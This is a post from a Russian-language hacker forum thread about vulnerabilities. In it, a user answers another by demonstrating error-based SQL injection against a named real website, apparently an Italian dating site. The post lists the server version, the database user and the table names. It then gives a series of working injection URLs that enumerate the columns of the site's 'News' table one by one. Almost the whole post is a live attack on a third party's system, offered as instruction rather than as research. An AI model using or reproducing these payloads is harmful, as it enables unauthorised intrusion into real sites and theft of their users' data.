Ваши вопросы по уязвимостям.

#11

30.06.2010, 00:00

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

Цитата:

Сообщение от durito

примерчик:
а что есть не из тухлых способов?

вот конкретно относительно вашего примерчика и таблицы News:

Код:

HOST: www.feliceincontro.net
-----------------------------------------
System information:
-----------------------------------------
@@version: Microsoft SQL Server 2005 - 9.00.4053.00 (Intel X86) 
	May 26 2009 14:24:20 
	Copyright (c) 1988-2005 Microsoft Corporation
	Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

system_user: MSSql18332
db_name(): MSSql18332
=============================================
Tables in information_schema:
=============================================
  annunci
  foto
  Categoria
  News
  Utenti
  sedi
-----------------------------------------
Columns from table [ News ]
-----------------------------------------
  newsCorpo - колонка

  http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+0+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)

  newsDataInserim - - колонка

  http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)

  newsFoto - колонка

  http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+2+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)

  newsTitolo - колонка

  http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+5+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)

  newsSospesa - колонка

  http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+4+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)

  newsId -  колонка

  http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+and+column_name+not+in+(select+top+3+column_name+from+information_schema.columns+where+table_name=char(78)%2bchar(101)%2bchar(119)%2bchar(115)+order+by+column_name)+order+by+column_name)a)